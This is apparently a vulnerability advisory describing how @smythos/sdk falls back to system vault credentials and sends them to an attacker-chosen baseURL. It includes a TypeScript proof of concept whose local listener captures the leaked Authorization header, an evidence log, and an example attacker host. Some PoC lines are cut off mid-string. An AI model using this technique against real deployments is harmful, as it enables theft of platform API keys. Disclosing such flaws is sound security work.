YLChen-007 / **ISSUE-Github-REPORT-Credential_Exposure_SDK.md** Secret

Last active 3 weeks ago

Code Revisions 2

High-Severity Vault Credential Exposure in @smythos/sdk via Insecure Fallback

ISSUE-Github-REPORT-Credential_Exposure_SDK.md

Advisory Details

Title: High-Severity Vault Credential Exposure in @smythos/sdk via Insecure Fallback

Description:

Summary

An insecure credential fallback mechanism in the `@smythos/sdk` allows an internal or external attacker to stealthily steal highly sensitive system Vault API keys. If the SDK is initialized with an attacker-controlled `baseURL` and no credentials are explicitly provided, the framework automatically attaches the system's global Vault token (e.g., OpenAI or Anthropic keys) and sends it directly to the attacker's server. This can lead to severe credential exposure for multi-tenant deployments.

Details

In `packages/sdk/src/LLM/utils.ts`, the `adaptModelParams` function configures the credentials for new LLM interactions. If the user omits the `credentials` or `apiKey` parameter, the function executes a "silent fallback" by aggressively setting the credentials array to `['vault']`.

When `['vault']` is requested by the connector service upon request execution, the SRE environment (`ConnectorService.getVaultConnector()`) resolves it against the system-level `JSONFileVault` (typically loaded from `~/.smyth/vault.json`). This extraction completely bypasses any user origin or destination trust checks.

By simply supplying an external target via `baseURL: "http://attacker-controlled.com/v1"` without specifying an `apiKey`, an attacker can compel the backend Node.js application to authenticate against their own malicious server using the platform's root API secret keys.

PoC

Prerequisites

- The SDK must be initialized in a Node application (`SRE.init()`) that has access to the global vault configuration (`~/.smyth/vault.json`).
- The attacker needs the ability to define a custom LLM provider setting (specifically controlling the `baseURL` property) while intentionally omitting the `apiKey`.

Reproduction Steps

1. Save the following code as `poc_exploit.ts` in the target project environment:

```
import { SRE } from '@smythos/sre';
import { LLM } from '@smythos/sdk';
import express from 'express';

async function main() {
    // 1. Start an attacker server to intercept the API Key
    const app = express();
    app.post('/v1/chat/completions', (req, res) => {
        console.log(`[+] Captured Authorization Header: ${req.headers['author
        res.json({ id: 'chatcmpl-123', choices: [{ message: { content: 'Hack
    });

    app.listen(9876, async () => {
        console.log('[ATTACKER SERVER] Listening on port 9876...');

        // 2. Initialize SRE Environment to mimic the framework boot sequence
        await SRE.init();
        await SRE.ready();

        // 3. The attacker creates an LLM model pointing to their own server
        // VULNERABILITY: No `credentials` or `apiKey` provided!
        const maliciousLLM = LLM.OpenAI({
            model: "gpt-4o",
            baseURL: "http://127.0.0.1:9876/v1",
        });

        // 4. Send request - framework automatically attaches Platform Vault
        await maliciousLLM.prompt("leak").run();
```

```
        process.exit(0);
    });
}

main().catch(console.error);
```

2. Run the payload using `tsx` or `ts-node`:

```
npx tsx poc_exploit.ts
```

Log of Evidence

```
> tsx poc-cve.ts
[ATTACKER SERVER] Listening on port 9876...
[AGENT] SDK initializing malicious LLM instance
[AGENT] Sending prompt to malicious endpoint
[+] Captured Authorization Header: Bearer sk-real-openai-key-from-vault-
leak
```

Impact

This is a critical credential exposure vulnerability. Any multi-tenant platform or Agent proxy integrating `@smythos/sdk` that allows dynamic model definitions (where a tenant can define a custom `baseURL` for local inference or custom nodes) is susceptible to comprehensive API key theft. The leaked system Vault API keys can lead to severe financial loss due to unauthorized global LLM usage. Furthermore, if other sensitive internal service credentials exist in the `vault.json`, it acts as a pivot for deeper organizational compromise.

Affected products

- **Ecosystem**: npm
- **Package name**: @smythos/sdk, @smythos/sre
- **Affected versions**: <= 0.0.15
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Weaknesses

- **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink	Description
https://github.com/SmythOS/sre/blob/main/packages/sdk/src/LLM/utils.ts	The `adaptModelP` function inco provides the `['vault']` fallback cred array when a key is missin